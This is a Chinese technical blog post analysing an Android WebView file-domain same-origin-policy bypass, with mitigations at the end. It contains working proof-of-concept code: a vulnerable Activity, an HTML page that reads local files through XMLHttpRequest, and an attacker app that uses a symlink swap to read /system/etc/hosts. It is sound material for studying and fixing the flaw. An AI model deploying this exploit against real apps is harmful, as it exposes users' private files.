Android WebView File域同源策略绕过漏洞浅析
0x00
我们首先讲一个webView这种方法的作用:
webView.getSettings().setAllowFileAccessFromFileURLs(false);为了解说这种方法,我们还是看一个实际的样例。代码地址还是參考https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo。
代码例如以下。和Android WebView远程代码执行漏洞简析一文中的代码主要差别在于这次载入的attack_file.html。
public class MainActivity extends Activity { private WebView webView; private Uri mUri; private String url; String mUrl1 = "file:///android_asset/html/attack_file.html"; //String mUrl2 = "file:///android_asset/html/test.html"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); webView = (WebView) findViewById(R.id.webview); webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(new JSInterface(), "jsInterface"); webView.getSettings().setAllowFileAccessFromFileURLs(true); webView.setWebChromeClient(new WebChromeClient() { @Override public boolean onJsAlert(WebView view, String url, String message,JsResult result) { //Required functionality here return super.onJsAlert(view, url, message, result); } }); webView.loadUrl(mUrl1); } class JSInterface { public String onButtonClick(String text) { final String str = text; runOnUiThread(new Runnable() { @Override public void run() { Log.e("leehong2", "onButtonClick: text = " + str); Toast.makeText(getApplicationContext(), "onButtonClick: text = " + str, Toast.LENGTH_LONG).show(); } }); return "This text is returned from Java layer. js text = " + text; } public void onImageClick(String url, int width, int height) { final String str = "onImageClick: text = " + url + " width = " + width + " height = " + height; Log.i("leehong2", str); runOnUiThread(new Runnable() { @Override public void run() { Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show(); } }); } } }这里webView.getSettings().setAllowFileAccessFromFileURLs(true)。标示能够通过javaScript訪问file文件。
我们再来看attack_file.html的代码:
<html> <body> <script> function stealFile() { var file = "file:///mnt/sdcard/11.txt"; var xmlHttpReq = new XMLHttpRequest(); xmlHttpReq.onreadystatechange = function(){ if(xmlHttpReq.readyState == 4){ alert(xmlHttpReq.responseText); } } xmlHttpReq.open("GET", file); xmlHttpReq.send(null); } stealFile(); </script> </body> </html>因为setAllowFileAccessFromFileURLs为true,所以webView.load这个html能够返回/mnt/sdcard/11.txt的值。
假设setAllowFileAccessFromFileURLs为false。webView.load这个html不能够返回/mnt/sdcard/11.txt的值。
0x01
即使setAllowFileAccessFromFileURLs为false,我们通过一种方式也能够跨过这个限制,那就是Android WebView File域同源策略绕过漏洞浅析。请參考WebView File域同源策略绕过漏洞浅析。
參考的文章并没有给出能够执行的project,这里给出,下面的解说都来源于这两个project:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo1,https://github.com/jltxgcy/AppVulnerability/tree/master/AttackWebView。
首先执行WebViewFileDemo1,然后再执行AttackWebView来突击WebView。
我们首先看WebViewFileDemo1,主要代码例如以下:
package com.example.webviewfiledemo; import android.app.Activity; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.util.Log; import android.webkit.JsResult; import android.webkit.WebChromeClient; import android.webkit.WebView; import android.widget.Toast; public class MainActivity extends Activity { private WebView webView; private Uri mUri; private String url; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); webView = (WebView) findViewById(R.id.webview); webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(new JSInterface(), "jsInterface"); webView.getSettings().setAllowFileAccessFromFileURLs(false); //webView.getSettings().setAllowFileAccess(false); webView.setWebChromeClient(new WebChromeClient() { @Override public boolean onJsAlert(WebView view, String url, String message,JsResult result) { //Required functionality here return super.onJsAlert(view, url, message, result); } }); Intent i = getIntent(); if (i != null) { mUri = i.getData(); } if (mUri != null) { url = mUri.toString(); } if (url != null) { webView.loadUrl(url); } } }
这个Activity接收来自外部的Intent。提取Intent里面的url并载入。
接着我们来看AttackWebViewproject,这里就是向com.example.webviewfiledemo.MainActivity发送Intent的project。
代码例如以下:
public class MainActivity extends Activity { public final static String HTML = "<body>" + "<u>Wait a few seconds.</u>" + "<script>" + "var d = document;"+ "function doitjs(){"+ "var xhr = new XMLHttpRequest;"+ "xhr.onload = function(){"+ "var txt = xhr.responseText;"+ "d.body.appendChild(d.createTextNode(txt));"+ "alert(txt);"+"};"+ "xhr.open('GET',d.URL);"+ "xhr.send(null);"+ "}"+ "setTimeout(doitjs,8000);"+ "</script>"+ "</body>"; public static String MY_TMP_DIR; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); MY_TMP_DIR = getDir("payload_odex", MODE_PRIVATE).getAbsolutePath(); doit(); } public void doit() { String HTML_PATH = MY_TMP_DIR + "/A0" + ".html"; try { cmdexec("mkdir " + MY_TMP_DIR); cmdexec("echo \"" + HTML + "\" > " + HTML_PATH); cmdexec("chmod -R 777 " + MY_TMP_DIR); Thread.sleep(1000); invokeVulnAPP("file://" + HTML_PATH); Thread.sleep(6000); cmdexec("rm " + HTML_PATH); cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH); } catch (Exception e) { // TODO: handle exception } } public void invokeVulnAPP(String url) { try { Intent intent = new Intent(Intent.ACTION_MAIN,Uri.parse(url)); intent.addCategory(Intent.CATEGORY_LAUNCHER); intent.setClassName("com.example.webviewfiledemo", "com.example.webviewfiledemo.MainActivity"); startActivity(intent); } catch (Exception e) { // TODO: handle exception } } public void cmdexec(String cmd) { try { String[] tmp = new String[] { "/system/bin/sh", "-c", cmd }; Runtime.getRuntime().exec(tmp); } catch (Exception e) { // TODO: handle exception } } }通过invokeVulnAPP,打开了com.example.webviewfiledemo.MainActivity并传递了Intent。
这个Activity提取了Url。Url为/sdcard/payload_odex/A0.html。webView载入了这个html,html内容例如以下:
public final static String HTML = "<body>" + "<u>Wait a few seconds.</u>" + "<script>" + "var d = document;"+ "function doitjs(){"+ "var xhr = new XMLHttpRequest;"+ "xhr.onload = function(){"+ "var txt = xhr.responseText;"+ "d.body.appendChild(d.createTextNode(txt));"+ "alert(txt);"+"};"+ "xhr.open('GET',d.URL);"+ "xhr.send(null);"+ "}"+ "setTimeout(doitjs,8000);"+ "</script>"+ "</body>";当WebViewFileDemo1project中webView载入A0.html后,这个html的作用是延迟8秒读取A0.html本身。我们再回到AttackWebViewproject。往下看代码。
cmdexec("mkdir " + MY_TMP_DIR); cmdexec("echo \"" + HTML + "\" > " + HTML_PATH); cmdexec("chmod -R 777 " + MY_TMP_DIR); Thread.sleep(1000); invokeVulnAPP("file://" + HTML_PATH); Thread.sleep(6000); cmdexec("rm " + HTML_PATH); cmdexec("ln -s " + "/system/etc/hosts" + " " + HTML_PATH);调用完invokeVulnAPP后。6秒后,我们首先把A0.html删除,然后再又一次软连接到/system/etc/hosts。
注意此时当WebViewFileDemo1project中webView载入A0.html。这个html的作用是延迟8秒读取A0.html本身。所以8秒后读取的是软连接/system/etc/hosts。
结果例如以下:
0x02
怎样避免这样的情况的发生呢?
1、webView.getSettings. setAllowFileAccess(false);
假设在WebViewFileDemo1project中com.example.webviewfiledemo.MainActivity的onCreate方法中假设加上了上面的代码,那么执行的结果例如以下:
2、webView.getSettings. setJavaScriptEnabled(false);